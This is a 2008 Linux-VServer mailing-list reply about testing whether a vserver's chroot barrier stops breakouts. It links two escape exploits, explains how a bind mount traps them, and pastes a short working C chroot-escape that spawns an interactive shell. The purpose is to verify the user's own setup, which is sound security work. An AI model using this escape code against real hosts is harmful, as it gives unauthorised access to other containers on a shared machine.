Subject: Re: [vserver] vserver git server and misc. thoughts
From:Björn Steinbrink <B.Steinbrink@gmx.de>
Date: Thu, 21 Aug 2008 00:48:07 +0200

On 2008.08.20 13:36:36 -0700, Martin Fick wrote:
> --- On Wed, 8/13/08, Björn Steinbrink <B.Steinbrink@gmx.de> wrote:
> >>>> does someone have a working exploit to break out of a vserver
> >>>> that they can show me?
> ...
> >>> with the barrier intact, hopefully not :) without, one of those
> >>> should do:
> >>> 
> >>>  http://vserver.13thfloor.at/Stuff/rootesc.c
> >>>  http://vserver.13thfloor.at/Stuff/chrootescape
> >>
> >> Well, I am sad?/happy? to report that I cannot seem to get either
> >> of those exploits to work.  I have eliminated the barrier and added
> >> CAP_SYS_CHROOT to bcapabilities for one of my vservers and cannot
> >> seem to escape it.  Any thoughts on what I could be doing wrong?
> > 
> > I've been away from this stuff for quite a while, but the last
> > exploit I've "seen" required you not to step past the /-bind-mount,
> > so the chdir("..") loop needs to stop at the right point. That
> > usually puts you in /vservers then IIRC, it's been quite I while
> > since I did that one. Not sure whether I figured out if/how you can
> > get rid of that bind mount (well, except if you have permissions to
> > umount it), to reach the real root mount, but you could at the very
> > least visit the other vservers.
> 
> Are you suggesting that the (way) above exploits should not work?

Yep, they hit the bind mount and get trapped again.

> I am not sure what you mean by the bind mount?  Where does this bind
> mount come into play, where is it set to?

util-vserver creates that bind mount, like:
mount -o bind /vservers/foo / (or something like that)

> If I have my vservers roots set to /vservers/<vsname>/var, where are
> you suggesting that I should be able to break out to and why?

If you do not have the barrier setup, yes, I guess that should still
work.

> If a mount can be used to limit a breakout, would it not be possible
> to simply setup mounts correctly so that the chroot barrier is not
> needed at all?

No, you just have to stop before you hit the bind mount while traversing
the directory tree.

> > If that still doesn't work, let me know. 
> 
> Perhaps I am being obtuse, but I am not sure what specifically you are
> suggesting that I try to see if it works?  To not do too many "cd
> .."s?

Exactly. You need to stop at the right level, so that you don't hit the
bind mount.

> > I might dig into my archives and see if I still have the sources for
> > that one.
> 
> That would be greatly appreciated if you could. I am now beginning to
> believe that I need a valid exploit to be able to even be confident
> that my directory/barrier setups are doing what they are supposed to
> and that I am not unknowingly vulnerable.

#include <sys/types.h>
#include <sys/stat.h>

main()
{
        chdir("/");
        mkdir("baz", 0777);
        chroot("baz");
        chroot("../../..");
        execl("/bin/sh", "sh", "-i", (char *)0);
}


My mail archive says that this assumes the vservers to be in /vservers,
no idea if that really matters. Should work when there's no barrier, but
fail when the barrier is set. And as I said, it doesn't go all the way
up to /, just out of the vserver, so that you can at least mess with
other vservers. There _might_ be a way to get even further up though.

Also, you need to be a bit careful about what you do after the breakout,
so that you avoid hitting the bind mount. IIRC bash had show some
"interesting" behaviour.

Björn